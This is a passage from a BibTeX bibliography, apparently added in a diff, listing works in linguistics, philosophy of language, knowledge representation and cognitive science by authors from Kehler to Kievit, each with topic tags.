+@incollection{ kehler:1997b, + author = {Andrew Kehler}, + title = {Probabilistic Coreference in Information Extraction}, + booktitle = {Proceedings of the Second Conference on Empirical + Methods in Natural Language Processing}, + publisher = {Association for Computational Linguistics}, + year = {1997}, + editor = {Claire Cardie and Ralph Weischedel}, + pages = {163--173}, + address = {Somerset, New Jersey}, + topic = {empirical-methods-in-nlp;machine-learning; + probabilistic-reasoning;FASTUS;anaphora-resolution;} + } + +@article{ kehler-shieber:1997a, + author = {Andrew Kehler and Stuart Shieber}, + title = {Anaphoric Dependencies in Ellipsis}, + journal = {Computational Linguistics}, + year = {1997}, + volume = {23}, + number = {3}, + pages = {457--466}, + topic = {anaphora;ellipsis;} + } + +@article{ kehler-etal:2001a, + author = {Andrew Kehler and John Bear and Douglas Appelt}, + title = {The Need for Accurate Alignment in Natural Language + System Evaluation}, + journal = {Computational Linguistics}, + year = {2001}, + volume = {27}, + number = {2}, + pages = {231--248}, + topic = {nlp-evaluation;text-alignment;} + } + +@article{ kehler_a:1998a, + author = {Andrew Kehler}, + title = {Review of {\it Computational and Conversational + Discourse: Burning Issues---An Introductory Account}, + {E}duard {H}. {H}ovy and {D}onia {R}. {S}cott}, + journal = {Computational Linguistics}, + year = {1998}, + volume = {24}, + number = {2}, + pages = {328--340}, + topic = {discourse;pragmatics;} + } + +@incollection{ kehler_a-ward_g:1998a, + author = {Andrew Kehler and Gregory Ward}, + title = {On the Semantics and Pragmatics of `Identifier So'\, } , + editor = {Ken Turner}, + booktitle = {The Semantics/Pragmatics Interface from Different Points of + View (Current Research in the Semantics/Pragmatics Interface + Series, Volume {I})}, + publisher = {Amsterdam: Elsevier}, + year = {forthcoming}, + topic = {semantics;pragmatics;discourse-cue-words; + discourse-cue-words;} + } + +@article{ kehler_a:2000a, + author = {Andrew Kehler}, + title = {Coherence and the Resolution of Ellipsis}, + journal = {Linguistics and Philosophy}, + year = {2000}, + volume = {23}, + number = {6}, + pages = {533--575}, + topic = {coherence;ellipsis;} + } + +@book{ keil-wilson_ra:2000a, + editor = {Frank C. Keil and Robert A. Wilson}, + title = {Explanation and Cognition}, + publisher = {The {MIT} Press}, + year = {2000}, + address = {Cambridge, Massachusetts}, + ISBN = {0-262-11239-3}, + topic = {explanation;cognitive-psycyology;} + } + +@article{ keil:2001a, + author = {Frank C. Keil}, + title = {The Scope of the Cognitive Sciences: Reply to Six + Reviews of {\it The {MIT} Encyclopedia of the Cognitive + Sciences}}, + journal = {Artificial Intelligence}, + year = {2001}, + volume = {130}, + number = {2}, + pages = {217--221}, + xref = {Response to: carr_c:2001a, carr_c:2001a, dorr:2001a, + husbands:2001a, lakoff_g:2001a, peterson_dm:2001a.}, + topic = {cognitive-science-general;cognitive-science-survey;} + } + +@incollection{ kelleher-smith_bm:1988b, + author = {Barbara M. Smith and Gerald Kelleher}, + title = {A Brief Introduction to Reason Maintenance Systems}, + booktitle = {Reason Maintenance Systems and Their Applications}, + publisher = {Ellis Horwood, Ltd.}, + editor = {Barbara M. Smith and Gerald Kelleher}, + pages = {4--20}, + year = {1988}, + address = {Chichester}, + topic = {truth-maintenance;} + } + +@inproceedings{ keller_b:1995a, + author = {Bill Keller}, + title = {{\sc datr} Theories and {\sc datr} Models}, + booktitle = {Proceedings of the Thirty-Third Meeting of the Association for + Computational Linguistics}, + year = {1995}, + publisher = {Association for Computational Linguistics}, + editor = {Hans Uszkoreit}, + pages = {55--69}, + organization = {Association for Computational Linguistics}, + address = {San Francisco}, + topic = {DATR;nm-ling;} + } + +@incollection{ keller_ef:2000a, + author = {Evelyn Fox Keller}, + title = {Models of and Models For: Theory and Practice in + Contemporary Biology}, + booktitle = {{PSA}'1998: Proceedings of the 1998 Biennial Meetings + of the Philosophy of Science Association, Part {II}: + Symposium Papers}, + publisher = {Philosophy of Science Association}, + year = {2000}, + editor = {Don A. Howard}, + pages = {S72--S86}, + address = {Newark, Delaware}, + topic = {philosophy-of-biology;} + } + +@article{ keller_f:1999a, + author = {Frank Keller}, + title = {Review of {\em {T}he Empirical Basis of Linguistics: + Grammatical Judgements and Linguistic Methodology}, + by {C}arson {T}. {S}ch\"utze}, + journal = {Journal of Logic, Language, and Information}, + year = {1999}, + volume = {8}, + number = {1}, + pages = {114--121}, + xref = {Review of schutze:1996a.}, + topic = {philosophy-of-linguistics;foundations-of-linguistics;} + } + +@article{ keller_rb:1988a, + author = {Richard M. Keller}, + title = {Defining Operationality for Explanation-Based Learning}, + journal = {Artificial Intelligence}, + year = {1988}, + volume = {35}, + number = {2}, + pages = {227--241}, + topic = {explanation-based-learning;} + } + +@article{ kelley_lb:1988a, + author = {Leigh B. Kelley}, + title = {Reflections on Deliberative Coherence}, + journal = {Synth\'ese}, + year = {1988}, + volume = {76}, + number = {1}, + pages = {83--121}, + topic = {foundations-of-decision-theory;rationality; + Newcomb-problem;} + } + +@incollection{ kelley_tg:1996a, + author = {Todd G. Kelley}, + title = {Modeling Complex Systems in the Situation Calculus: A Case + Study Using the Dagstuhl Steam Boiler Problem}, + booktitle = {{KR}'96: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1996}, + editor = {Luigia Carlucci Aiello and Jon Doyle and Stuart Shapiro}, + pages = {26--37}, + address = {San Francisco, California}, + topic = {kr;kr-course;dynamic-systems;situation-calculus;} + } + +@techreport{ kelly-glymour:1987a, + author = {Kevin Kelly and Clark Glymour}, + title = {On Convergence to the Truth and Nothing but the Truth}, + institution = {Laboratory for Computational Linguistics, Carnegie + Mellon University}, + number = {CMU-LCL-87-4}, + year = {1987}, + address = {Pittsburgh}, + topic = {learning-theory;} + } + +@unpublished{ kelly-glymour:1988a, + author = {Kevin T. Kelly and Clark Glymour}, + title = {On Converging to the Truth and Nothing but the Truth}, + year = {1988}, + note = {Unpublished manuscript, University of Pittsburgh}, + missinginfo = {Date is a guess.}, + topic = {truthlikeness;induction;philosophy-of-science;} + } + +@article{ kelly-glymour:1990a, + author = {Kevin T. Kelly and Clark Glymour}, + title = {Theory Discovery from Data with Mixed Quantifiers}, + journal = {Journal of Philosophical Logic}, + year = {1990}, + volume = {19}, + number = {1}, + pages = {1--33}, + topic = {learning-theory;} + } + +@article{ kelly-glymour:1992a, + author = {Kevin T. Kelly and Clark Glymour}, + title = {Inductive Inference from Theory Laden Data}, + journal = {Journal of Philosophical Logic}, + year = {1992}, + volume = {21}, + number = {4}, + pages = {391--444}, + topic = {induction;} + } + +@book{ kelly:1996b, + author = {Kevin Kelly}, + title = {The Logic of Reliable Inquiry}, + publisher = {Oxford University Press}, + year = {1996}, + address = {Oxford}, + topic = {belief-revision;} + } + +@techreport{ kelly:1998a, + author = {Kevin Kelly}, + title = {Iterated Belief Revision, Reliability and Inductive + Amnesia}, + year = {1998}, + institution = {Philosophy Department, Carnegie Mellon University}, + number = {CMU-Phil--88}, + address = {Pittsburgh, Pennsylvania}, + topic = {belief-revision;} + } + +@inproceedings{ kelly:1998b, + author = {Kevin T. Kelly}, + title = {The Learning Power of Belief Revision}, + booktitle = {Theoretical Aspects of Reasoning about Knowledge: + Proceedings of the Seventh Conference ({TARK} 1998)}, + year = {1998}, + editor = {Itzhak Gilboa}, + pages = {111--124}, + publisher = {Morgan Kaufmann}, + address = {San Francisco, California}, + topic = {learning-theory;belief-revision;} + } + +@article{ kelly:2001a, + author = {Sean Dorrance Kelly}, + title = {Demonstrative Concepts and Experience}, + journal = {The Philosophical Review}, + year = {2001}, + volume = {110}, + number = {3}, + pages = {397--420}, + topic = {demonstratives;epistemology;phenomenology;} + } + +@incollection{ kemeny:1964a, + author = {John G. Kemeny}, + title = {Analyticity Versus Fuzziness}, + booktitle = {Form and Strategy in Science}, + publisher = {D. Reidel Publishing Co.}, + year = {1964}, + editor = {John R. Gregg and F.T.C. Harris}, + pages = {122--145}, + address = {Dordrecht}, + topic = {vagueness;analyticity;} + } + +@incollection{ kemmerling:1986a, + author = {Andreas Kemmerling}, + title = {Utterer's Meaning Revisited}, + booktitle = {Philosophical Grounds of Rationality}, + publisher = {Oxford University Press}, + year = {1986}, + editor = {Richard E. Grandy and Richard Warner}, + pages = {131--155}, + address = {Oxford}, + topic = {philosophy-of-language;implicature;speaker-meaning; + Grice;pragmatics;} + } + +@incollection{ kemmerling:1991a, + author = {Andreas Kemmerling}, + title = {Implicatur}, + booktitle = {Semantik/Semantics: an International Handbook + of Contemporary Research}, + publisher = {Walter de Gruyter}, + year = {1991}, + pages = {319--333}, + editor = {Dieter Wunderlich and Arnim {von Stechow}}, + address = {Berlin}, + topic = {implicature;pragmatics;} + } + +@inproceedings{ kempe:1997a, + author = {Andr\'e Kempe}, + title = {Finite State Transducers Approximating Hidden {M}arkov + Models}, + booktitle = {Proceedings of the Thirty-Fifth Annual Meeting of the + {A}ssociation for {C}omputational {L}inguistics and Eighth + Conference of the {E}uropean Chapter of the {A}ssociation + for {C}omputational {L}inguistics}, + year = {1997}, + editor = {Philip R. Cohen and Wolfgang Wahlster}, + pages = {460--467}, + organization = {Association for Computational Linguistics}, + publisher = {Association for Computational Linguistics}, + address = {Somerset, New Jersey}, + topic = {finite-state-nlp;hidden-Markov-models;} + } + +@incollection{ kempe:1998a, + author = {Andr\'e Kempe}, + title = {Look-Back and Look-Ahead in the Conversion + of Hidden {M}arkov Models into Finite State + Transducers}, + booktitle = {Proceedings of the Joint Conference on New Methods in + Language Processing and Computational Natural Language + Learning: {NeMLaP3/CoNLL98}}, + publisher = {Association for Computational Linguistics}, + year = {1998}, + editor = {David M.W. Powers}, + pages = {29--37}, + address = {Somerset, New Jersey}, + topic = {hidden-Markov-models;finite-state-nlp;part-of-speech-tagging;} + } + +@book{ kempen:1987a, + editor = {Gerard Kempen}, + title = {Natural Language Generation: New Results in Artificial + Intelligence}, + publisher = {Nijhoff}, + year = {1987}, + address = {Dordrecht}, + ISBN = {9024735580}, + topic = {nl-generation;} + } + +@book{ kempson:1975a, + author = {Ruth M. Kempson}, + title = {Presupposition and the Delimitation of Semantics}, + publisher = {Cambridge University Press}, + year = {1975}, + address = {Cambridge, England}, + xref = {Review: cresswell_mj:1978d.}, + topic = {presupposition;pragmatics;} + } + +@book{ kempson:1977a, + author = {Ruth Kempson}, + title = {Semantic Theory}, + publisher = {Cambridge University Press}, + year = {1977}, + address = {Cambridge, England}, + topic = {nl-semantics;} + } + +@incollection{ kempson:1979a, + author = {Ruth Kempson}, + title = {Presupposition, Opacity, and Ambiguity}, + booktitle = {Syntax and Semantics 11: Presupposition}, + publisher = {Academic Press}, + year = {1979}, + editor = {ChoonKyo Oh and David A. Dineen}, + pages = {283--297}, + address = {New York}, + topic = {presupposition;ambiguity;pragmatics;} + } + +@article{ kempson-cormak:1981a, + author = {Ruth M. Kempson and Annabel Cormak}, + title = {Ambiguity and Quantification}, + journal = {Linguistics and Philosophy}, + year = {1981}, + volume = {4}, + number = {2}, + pages = {259--309}, + xref = {Later discussion in bach_k:1982a, kempson-cormack:1982a, + tennant_n:1981a, cormak-kempson:1981b.}, + topic = {ambiguity;nl-quantifier-scope;nl-quantifiers; + semantic-underspecification;} + } + +@article{ kempson-cormack:1982a, + author = {Ruth M. Kempson and Annabel Cormack}, + title = {Quantification and Pragmatics}, + journal = {Linguistics and Philosophy}, + year = {1982}, + volume = {4}, + number = {4}, + pages = {607--618}, + xref = {Discussion of kempson-cormak:1981a, tennant_n:1981a.}, + topic = {nl-semantics;semantic-underspecification;pragmatics;} + } + +@incollection{ kempson:1985a, + author = {Ruth Kempson}, + title = {Definite {NP}s and Context-Dependence: + A Unified Theory of Anaphora}, + booktitle = {Reasoning and Discourse Processes}, + publisher = {Academic Press}, + year = {1985}, + editor = {Terry Myers and Keith Brown and Brendan McGonigle}, + pages = {209--239}, + address = {New York}, + topic = {pragmatics;anaphora;context;} + } + +@incollection{ kempson:1986a, + author = {Ruth M. Kempson}, + title = {Ambiguity and the Semantics-Pragmatics Distinction}, + booktitle = {Meaning and Interpretation}, + publisher = {Basil Blackwell Publishers}, + year = {1986}, + editor = {Charles Travis}, + pages = {77--103}, + address = {Oxford, England}, + topic = {ambiguity;foundations-of-semantics;foundations-of-pragmatics;} + } + +@book{ kempson:1988a, + editor = {Ruth M. Kempson}, + title = {Mental Representations: The Interface Between Language and + Reality}, + publisher = {Cambridge University Press}, + year = {1988}, + address = {Cambridge, England}, + contentnote = {TC: + 1. Ruth M. Kempson , "The Relation between Language, Mind, and + Reality" + 2. James Higginbotham , "Contexts, Models, and Meanings: A Note + on the Data of Semantics" + 3. Robin Cooper, "Facts in Situation Theory: Representation, + Psychology, or Reality? " + 4. Elisabet Engdahl, "Relational Interpretation" + 5. Robert May , "Bound Variable Anaphora" + 6. Michael Brody and M. Rita Manzini, "On Implicit Arguments" + 7. Deirdre Wilson and Dan Sperber, "Representation and Relevance" + 8. Robyn Carston, "Implicature, Explicature, and Truth-Theoretic + Semantics" + 9. Diane Blakemore, "\,`So' as a constraint on relevance" + 10. Ruth M. Kempson, "On the Grammar-Cognition Interface: The + Principle of Full Interpretation" + } , + topic = {nl-semantics;cognitive-semantics;} + } + +@incollection{ kempson:1988b, + author = {Ruth M. Kempson}, + title = {The Relation Between Language, Mind, and Reality}, + booktitle = {Mental Representations: The Interface Between Language and + Reality}, + publisher = {Cambridge University Press}, + year = {1988}, + editor = {Ruth Kempson}, + pages = {3--25}, + address = {Cambridge, England}, + topic = {nl-semantics;cognitive-semantics;philosophy-of-language;} + } + +@incollection{ kempson:1988c, + author = {Ruth M. Kempson}, + title = {On the Grammar-Cognition Interface: The Principle of Full + Interpretation}, + booktitle = {Mental Representations: The Interface Between Language and + Reality}, + publisher = {Cambridge University Press}, + year = {1988}, + editor = {Ruth Kempson}, + pages = {199--224}, + address = {Cambridge, England}, + topic = {nl-semantics;cognitive-semantics;philosophy-of-language;} + } + +@incollection{ kempson:1993a, + author = {Ruth M. Kempson}, + title = {Input Systems, Anaphora, Ellipsis, and Operator Binding}, + booktitle = {Knowledge and Language: Volume {II}, Lexical and Conceptual + Structure}, + publisher = {Kluwer Academic Publishers}, + year = {1993}, + editor = {Eric Reuland and Werner Abraham}, + pages = {51--78}, + address = {Dordrecht}, + topic = {relevance-theory;cognitive-semantics;anaphora;ellipsis;} + } + +@incollection{ kempson:1996a, + author = {Ruth M. Kempson}, + title = {Semantics, Pragmatics, and Natural-Language Interpretation}, + booktitle = {The Handbook of Contemporary Semantic Theory}, + publisher = {Blackwell Publishers}, + year = {1996}, + address = {Oxford}, + editor = {Shalom Lappin}, + pages = {561--598}, + topic = {pragmatics;context;dynamic-semantics;} + } + +@incollection{ kempson-etal:1997a, + author = {Ruth Kempson and Wilfried Meyer Viol and Dov Gabbay}, + title = {Language Understanding: A Procedural Perspective}, + booktitle = {{LACL}'96: First International Conference on + Logical Aspects of Computational Linguistics}, + publisher = {Springer-Verlag}, + year = {1997}, + editor = {Christian Retor/'e}, + pages = {228--247}, + address = {Berlin}, + topic = {logic-and-computational-linguistics;} + } + +@incollection{ kempson-meyerviol:1999a, + author = {Ruth Kempson and Wilfried Meyer-Viol}, + title = {The Dynamics of Tree Growth and Quantifier Construal}, + booktitle = {Proceedings of the Twelfth {A}msterdam Colloquium}, + publisher = {ILLC/Department of Philosophy, University + of Amsterdam}, + year = {1999}, + editor = {Paul Dekker}, + pages = {175--180}, + address = {Amsterdam}, + topic = {nl-quantifier-scope;indefiniteness;} + } + +@incollection{ kempson-otsuka:2002a, + author = {Ruth Kempson and Masayuki Otsuka}, + title = {Dialogue as Collaborative Tree Growth}, + booktitle = {{EDILOG} 2002: Proceedings of the Sixth Workshop on the + Semantics and Pragmatics of Dialogue}, + publisher = {Cognitive Science Centre, University of Edinburgh}, + year = {2002}, + editor = {Johan Bos and Mary Ellen Foster and Colin Mathesin}, + pages = {69--76}, + address = {Edinburgh}, + topic = {collaboration;discourse;} + } + +@book{ kennedy_c:1997a, + author = {Christopher Kennedy}, + title = {Projecting the Adjective: The Syntax and Semantics of + Gradeability and Comparison}, + publisher = {University of California at Santa Cruz}, + year = {1997}, + address = {Santa Cruz, California}, + topic = {nl-semantics;adjectives;degree-modifiers;} + } + +@article{ kennedy_c:2001a, + author = {Christopher Kennedy}, + title = {Polar Opposition and the Ontology of `Degrees'}, + journal = {Linguistics and Philosophy}, + year = {2001}, + volume = {24}, + number = {1}, + pages = {33--70}, + topic = {nl-semantics;adjectives;comparative-constructions; + degree-modifiers;polarity;} + } + +@book{ kennedy_g:1998a, + author = {Graeme Kennedy}, + title = {An Introduction to Corpus Linguistics}, + publisher = {Addison Wesley Longmans}, + year = {1998}, + address = {London}, + xref = {Review: ooi:1999a.}, + topic = {corpus-linguistics;} + } + +@incollection{ kennely-reniers:1999a, + author = {Sarah D. Kennelly and Fabien Reniers}, + title = {Cumulativity \& Distributivity Interaction of Polyadic + Quantifiers}, + booktitle = {Proceedings of the Twelfth {A}msterdam Colloquium}, + publisher = {ILLC/Department of Philosophy, University + of Amsterdam}, + year = {1999}, + editor = {Paul Dekker}, + pages = {181--186}, + address = {Amsterdam}, + topic = {nl-quantifiers;} + } + +@article{ kenniston:1999a, + author = {Sheila M. Kenniston}, + title = {Processing Agentive {\em By-}Phrases in Complex + Event and Nonevent Nominals}, + journal = {Linguistic Inquiry}, + year = {1999}, + volume = {30}, + number = {3}, + pages = {502--508}, + topic = {nominal-constructions;} + } + +@book{ kenny:1963a, + author = {Anthony Kenny}, + title = {Action, Emotion and the Will}, + publisher = {Routledge and Kegan Paul}, + year = {1963}, + address = {London}, + topic = {action;philosophy-of-action;Aktionsarten; + volition;emotion;} + } + +@incollection{ kenny:1973a, + author = {Anthony Kenny}, + title = {Freedom, Spontaneity, and Indifference}, + booktitle = {Essays on Freedom and Action}, + publisher = {Routledge and Kegan Paul}, + year = {1973}, + editor = {Ted Honderich}, + pages = {98--100}, + address = {London}, + topic = {action;intention;freedom;volition;} + } + +@article{ kenny:1973b, + author = {Anthony Kenny}, + title = {Practical Inference}, + journal = {Analysis}, + year = {1973}, + volume = {26}, + number = {3}, + pages = {65--75}, + topic = {practical-reasoning;} + } + +@book{ kenny:1976a, + author = {Anthony Kenny}, + title = {Will, Freedom, and Power}, + publisher = {Barnes and Noble}, + year = {1976}, + address = {New York}, + topic = {action;philosophy-of-action;freedom;ability; + volition;} + } + +@incollection{ kenny:1976b, + author = {Anthony Kenny}, + title = {Human Ability and Dynamic Modalities}, + booktitle = {Essays on Explanation and Understanding}, + publisher = {D. Reidel Publishing Company}, + year = {1976}, + editor = {Juha Manninen and Raimo Tuomela}, + pages = {209--232}, + address = {Dordrecht}, + topic = {ability;modal-logic;} + } + +@incollection{ kenny:1978a, + author = {Anthony Kenny}, + title = {Practical Reasoning and Rational Appetite}, + booktitle = {Practical Reasoning}, + publisher = {Oxford University Press}, + year = {1978}, + editor = {Joseph Raz}, + pages = {63--80}, + address = {Oxford}, + topic = {practical-reasoning;desire;} + } + +@book{ kenny:1979a, + author = {Anthony Kenny}, + title = {Aristotle's Theory of the Will}, + publisher = {Yale University Press}, + address = {New Haven}, + year = {1979}, + topic = {Aristotle;practical-reason;intention;volition;} + } + +@article{ kenyon:1999a, + author = {Tim Kenyon}, + title = {Truth, Knowability, and Neutrality}, + journal = {No\^us}, + year = {1999}, + volume = {33}, + number = {3}, + pages = {103--117}, + topic = {philosophical-realism;} + } + +@incollection{ kerber:1998a, + author = {M. Kerber}, + title = {Proof Planning: A Practical Approach to + Mechanized Reasoning in Mathematics}, + booktitle = {Automated Deduction: A Basis for Applications. + Volume {III}, Applications}, + publisher = {Kluwer Academic Publishers}, + year = {1998}, + editor = {Wolfgang Bibel and Peter H. Schmidt}, + address = {Dordrecht}, + missinginfo = {A's 1st name, pages}, + topic = {theorem-proving;applied-logic;} + } + +@article{ kernisbemer:1998a, + author = {Gabriele Kern-Isbemer}, + title = {Characterizing the Principle of Minimum Cross-Entropy + within a Conditional-Logical Framework}, + journal = {Artificial Intelligence}, + year = {1998}, + volume = {98}, + number = {1--2}, + pages = {169--208}, + topic = {conditionals;probability;probabilistic-reasoning; + world-entropy;} + } + +@book{ kernisberner:2001a, + author = {G. Kern-Isberner}, + title = {Conditionals in Nonmonotonic Reasoning and Belief + Revision: Considering Conditionals as Agents}, + publisher = {Springer-Verlag}, + year = {2001}, + address = {Berlin}, + ISBN = {3-540-42367-2 (Softcover)}, + contentnote = {Blurb: + Conditionals are omnipresent, in everyday life as well as in + scientific environments; they represent generic knowledge + acquired inductively or learned from books. They tie a flexible + and highly interrelated network of connections along which + reasoning is possible and which can be applied to different + situations. Therefore, conditionals are important, but also + quite problematic objects in knowledge representation. This + book presents a new approach to conditionals which captures + their dynamic, non-proportional nature particularly well by + considering conditionals as agents shifting possible worlds in + order to establish relationships and beliefs. This understanding + of conditionals yields a rich theory which makes complex + interactions between conditionals transparent and operational. + Moreover,it providesa unifying and enhanced framework for + knowledge representation, nonmonotonic reasoning, belief + revision,and even for knowledge discovery. } , + topic = {conditionals;nonmonotonic-logic;} + } + +@incollection{ kerniserner:2002a, + author = {Gabriele Kern-Iserner}, + title = {A Structural Approach to Default Reasoning}, + booktitle = {{KR2002}: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {2002}, + editor = {Dieter Fensel and Fausto Giunchiglia and Deborah + McGuinness and Mary-Anne Williams}, + pages = {147--157}, + address = {San Francisco, California}, + topic = {kr;nonmonotonic-logic;nonmonotonic-reasoning;} + } + +@unpublished{ kessler-etal:1997a1, + author = {Brett Kessler and Geoffrey Nunberg and Hinrich Sch\"utze}, + title = {Automatic Detection of Text Genre}, + year = {1997}, + note = {Unpublished manuscript. Available at + http://www.parc.xerox.com/istl/members/nunberg/.}, + topic = {document-classification;text-genre;} + } + +@inproceedings{ kessler-etal:1997a2, + author = {Brett Kessler and Geoffrey Nunberg and Hinrich Sch\"utze}, + title = {Automatic Detection of Text Genre}, + booktitle = {Proceedings of the Thirty-Fifth Annual Meeting of the + {A}ssociation for {C}omputational {L}inguistics and Eighth + Conference of the {E}uropean Chapter of the {A}ssociation + for {C}omputational {L}inguistics}, + year = {1997}, + editor = {Philip R. Cohen and Wolfgang Wahlster}, + pages = {32--38}, + organization = {Association for Computational Linguistics}, + publisher = {Association for Computational Linguistics}, + address = {Somerset, New Jersey}, + topic = {genre-detection;document-classification;information-retrieval;} + } + +@book{ kessler:2001a, + author = {Brett Kessler}, + title = {The Significance of Word Lists}, + publisher = {CLSI Publications}, + year = {2001}, + address = {Stanford, California}, + ISBN = {1-58586-299-9}, + xref = {Review: kondrak:2001a.}, + topic = {computational-historical-linguistics;} + } + +@incollection{ kfirdahav-tennenholz:1996a, + author = {Noa E. Kfir-Dahav and Moshe Tennenholz}, + title = {Multi-Agent Belief Revision}, + booktitle = {Theoretical Aspects of Rationality and Knowledge: + Proceedings of the Sixth Conference ({TARK} 1996)}, + publisher = {Morgan Kaufmann}, + year = {1996}, + editor = {Yoav Shoham}, + pages = {175--196}, + address = {San Francisco}, + topic = {belief-revision;social-choice-theory;} + } + +@book{ khalfa:1994a, + editor = {Jean Khalfa}, + title = {What is Intelligence?}, + publisher = {Cambridge University Press}, + year = {1994}, + address = {Cambridge, England}, + contentnote = {TC: + 1. Jean Khalfa, "Introduction: What is Intelligence?", pp. 1--12 + 2. Richard Gregory, "Seeing Intelligence", pp. 13--26 + 3. Nicholas Mackintosh, "Intelligence in Evolution", pp. 27-- + 4. George Butterworth, "Infant Intelligence", pp. 49--71 + 5. Roger Shcank and Lawrence Birnbaum, "Enhancing + Intelligence", pp. 72--106 + 6. Roger Penrose, "Mathematical Intelligence", pp. 107--136 + 7. Simha Arom, "Intelligence in Traditional Music", pp. 137--160 + 8. Daniel Dennett, "Language and Intelligence", pp. 161--178 + 9. Dan Sperber, "Understanding Verbal Understanding", pp. 179--198 + } , + topic = {philosophy-of-mind;foundations-of-cognition;} + } + +@incollection{ khalfa:1994b, + author = {Jean Khalfa}, + title = {Introduction: What is Intelligence?}, + booktitle = {What is Intelligence?}, + publisher = {Cambridge University Press}, + year = {1994}, + editor = {Jean Khalfa}, + pages = {1--12}, + address = {Cambridge, England}, + topic = {philosophy-of-mind;intelligence;foundations-of-cognition;} + } + +@article{ khalidi:1998a, + author = {Muhammad Ali Khalidi}, + title = {Natural Kinds and Crosscutting Categories}, + journal = {The Journal of Philosophy}, + year = {1998}, + volume = {95}, + number = {1}, + pages = {33--50}, + topic = {taxonomies;natural-kinds;} + } + +@article{ khalidi:2001a, + author = {Muhammed Ali Khalidi}, + title = {Review of {\it Dynamics in Action: Intentional Behavior as + a Complex System}, by {A}licia {J}uarrero}, + journal = {The Philosophical Review}, + year = {2001}, + volume = {110}, + number = {3}, + pages = {469--472}, + xref = {Review of: juarrero:1999a.}, + topic = {action;intention;nonlinear-systems;emergence;} + } + +@inproceedings{ khardon-roth:1995a, + author = {Roni Khardon and Dan Roth}, + title = {Default-Reasoning With Models}, + booktitle = {Proceedings of the Fourteenth International Joint + Conference on Artificial Intelligence}, + year = {1995}, + editor = {Chris Mellish}, + pages = {319--325}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + topic = {kr;default-logic;nonmonotonic-reasoning;kr-course;} + } + +@article{ khardon-roth:1996a, + author = {Roni Khardon and Dan Roth}, + title = {Reasoning with Models}, + journal = {Artificial Intelligence}, + year = {1996}, + volume = {87}, + number = {1--2}, + pages = {187--213}, + topic = {kr;krcourse;model-based-reasoning;abduction;} + } + +@article{ khardon-roth:1997a, + author = {Roni Khardon and Dan Roth}, + title = {Defaults and Relevance in Model-Based Reasoning}, + journal = {Artificial Intelligence}, + year = {1997}, + volume = {97}, + number = {1--2}, + pages = {169--193}, + topic = {nonmonotonic-reasoning;relevance;model-based-reasoning;} + } + +@article{ khardon:1999a, + author = {Roni Khardon}, + title = {Learning Action Strategies for Planning Domains}, + journal = {Artificial Intelligence}, + year = {1999}, + volume = {113}, + number = {1--2}, + pages = {125--148}, + topic = {machine-learning;planning;} + } + +@incollection{ kibble:1999a, + author = {Rodger Kibble}, + title = {Cb or Not {Cb}?: Centering Theory Applied to + {NLG}}, + booktitle = {The Relation of Discourse/Dialogue Structure and + Reference}, + publisher = {Association for Computational Linguistics}, + year = {1999}, + editor = {Dan Cristea and Nancy Ide and Daniel Marcu}, + pages = {72--81}, + address = {New Brunswick, New Jersey}, + topic = {anaphora;nl-generation;centering;} + } + +@incollection{ kibble-power:1999a, + author = {Rodger Kibble and Richard Power}, + title = {Using Centering Theory to Plan Coherent Texts}, + booktitle = {Proceedings of the Twelfth {A}msterdam Colloquium}, + publisher = {ILLC/Department of Philosophy, University + of Amsterdam}, + year = {1999}, + editor = {Paul Dekker}, + pages = {187--192}, + address = {Amsterdam}, + topic = {centering;coherence;nl-generation;} + } + +@article{ kibble:2001a, + author = {Rodger Kibble}, + title = {A Reformulation of Rule 2 of Centering Theory}, + journal = {Computational Linguistics}, + year = {2001}, + volume = {27}, + number = {4}, + pages = {588--587}, + topic = {anaphora-resolution;centering;} + } + +@article{ kibler:1999a, + author = {Dennis Kibler}, + title = {Review of {\it Empirical Methods for Artificial + Intelligence}, by {P}aul {R}. {C}ohen}, + journal = {Artificial Intelligence}, + year = {1999}, + volume = {113}, + number = {1--2}, + pages = {281--284}, + xref = {Review of cohen_pr2:1995a.}, + topic = {experimental-AI;} + } + +@book{ kiefer-ruwet:1973a, + editor = {Ferenc Kiefer and Nicholas Ruwet}, + title = {Generative Grammar in {E}urope}, + publisher = {D. Reidel Publishing Co.}, + year = {1973}, + address = {Dordrecht}, + ISBN = {9027702187}, + topic = {nl-syntax;nl-semantics;} + } + +@article{ kiefer_f:1978a, + author = {Ferenc Kiefer}, + title = {Adjectives and Presupposition}, + journal = {Theoretical Linguistics}, + year = {1978}, + volume = {5}, + number = {2/3}, + pages = {137--173}, + topic = {presupposition;pragmatics;} + } + +@book{ kiefer_he-munitz:1970a, + editor = {Howard E. Kiefer and Milton M. Munitz}, + title = {Language, Belief and Metaphysics}, + publisher = {State University of New York Press}, + year = {1970}, + address = {Albany, New York}, + ISBN = {0873950518}, + topic = {analytic-philosophy;philosophy-of-language;metaphysics;} + } + +@article{ kielkopf:1973a, + author = {Charles F. Kielkopf}, + title = {Office-Holder Vs. Office Quantifiers}, + journal = {Philosophia}, + year = {1973}, + volume = {2}, + number = {4}, + missinginfo = {321--339}, + topic = {quantifying-in-modality;} + } + +@article{ kielkopf:1974a, + author = {Charles F. Kielkopf}, + title = {Semantics for a Utilitarian Deontic Logic}, + journal = {Logique et Analyse, Nouvelle S\'erie}, + year = {1974}, + volume = {14}, + number = {56}, + missinginfo = {pages}, + topic = {deontic-logic;utility;} + } + +@article{ kieseppa:1996a, + author = {I.A. Kiesepp\"a}, + title = {Truthlikeness for Hypotheses Expressed in Terms of N + Qualitative Variables}, + journal = {Journal of Philosophical Logic}, + year = {1996}, + volume = {25}, + number = {2}, + pages = {109--134}, + topic = {truthlikeness;measure-theoretic-semantics;} + } + +@incollection{ kietz-etal:2000a, + author = {J\"org-Uwe Kietz and Raphael Volz and Alexander Maedche}, + title = {Extracting a Domain-Specific Ontology from a Corporate + Intranet}, + booktitle = {Proceedings of the Fourth Conference on Computational + Natural Language Learning and of the Second Learning Language + in Logic Workshop, {L}isbon, 2000}, + publisher = {Association for Computational Linguistics}, + year = {2000}, + editor = {Claire Cardie and Walter Daelemans and Claire N\'edellec + and Erik Tjong Kim Sang}, + pages = {167--175}, + address = {Somerset, New Jersey}, + topic = {machine-language-learning;knowledge-acquisition; + computational-ontology;} + } + +@phdthesis{ kievit:1998a, + author = {L. Kievit}, + title = {Context-Driven Natural Language Interpretation}, + school = {Tilburg University}, + year = {1998}, + type = {Ph.{D}. Dissertation}, + address = {Tilburg}, + topic = 